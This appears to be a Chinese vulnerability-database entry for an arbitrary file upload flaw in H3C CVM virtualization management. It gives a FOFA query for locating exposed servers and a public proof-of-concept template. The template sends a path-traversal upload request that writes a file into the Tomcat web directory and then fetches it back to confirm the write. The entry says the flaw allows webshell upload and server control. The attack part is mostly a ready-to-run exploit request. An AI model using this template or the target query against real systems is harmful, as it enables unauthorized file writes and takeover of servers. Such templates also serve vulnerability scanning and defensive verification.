h3c-cvm-fileupload: H3C CVM 前台任意文件上传漏洞

日期: 2025-09-01 | 影响软件: H3C CVM | POC: 已公开

漏洞描述

H3C公司依托其强大的技术实力、产品与服务优势,以及深入人心的以客户为中心的理念,为企业数据中心IaaS云计算基础架构提供最优化的虚拟化与云业务运营解决方案。通过H3CCASCVM虚拟化管理系统实现数据中心虚拟化环境的中央管理控制,以简洁的管理界面,统一管理数据中心内所有的物理资源和虚拟资源,不仅能提高管理员的管控能力、简化日常例行工作,更可降低IT环境的复杂度和管理成本。H3CCVM存在任意文件上传漏洞,攻击者可以上传任意文件,获取webshell,控制服务器权限,读取敏感信息等。 fofa-query: server="H3C-CVM"

PoC代码[已公开]

id: h3c-cvm-fileupload

info:
  name: H3C CVM 前台任意文件上传漏洞
  author: daffainfo
  severity: critical
  verified: true
  description: |
    H3C公司依托其强大的技术实力、产品与服务优势,以及深入人心的以客户为中心的理念,为企业数据中心IaaS云计算基础架构提供最优化的虚拟化与云业务运营解决方案。通过H3CCASCVM虚拟化管理系统实现数据中心虚拟化环境的中央管理控制,以简洁的管理界面,统一管理数据中心内所有的物理资源和虚拟资源,不仅能提高管理员的管控能力、简化日常例行工作,更可降低IT环境的复杂度和管理成本。H3CCVM存在任意文件上传漏洞,攻击者可以上传任意文件,获取webshell,控制服务器权限,读取敏感信息等。
    fofa-query: server="H3C-CVM"
  reference:
    - https://mp.weixin.qq.com/s/Oqo-8D6sQltVfq2RfbQdfw
  tags: h3c,cvm,fileupload
  created: 2023/07/25

set:
  baseurl: request.url
  r1: randomLowercase(8)
  r2: md5(r1)
rules:
  r0:
    request:
      method: POST
      path:  /cas/fileUpload/upload?token=/../../../../../var/lib/tomcat8/webapps/cas/js/lib/buttons/{{r1}}.txt&name=222
      headers:
        Content-Range: "bytes 0-110/120"
        Referer: "{{baseurl}}/cas/login"
        Accept-Encoding: "gzip, deflate"
        Content-Type: ""
      body: '{{r2}}'
    expression: response.status == 200 && response.body.bcontains(b'message') && response.body.bcontains(b'success') && response.body.bcontains(b'true')
  r1:
    request:
      method: GET
      path: /cas/js/lib/buttons/{{r1}}.txt
      headers:
        Content-Range: "bytes 0-110/120"
        Referer: "{{baseurl}}/cas/login"
        Accept-Encoding: "gzip, deflate"
        Content-Type: ""
    expression: response.status == 200 && response.body.bcontains(bytes(r2))
expression: r0() && r1()

相关漏洞推荐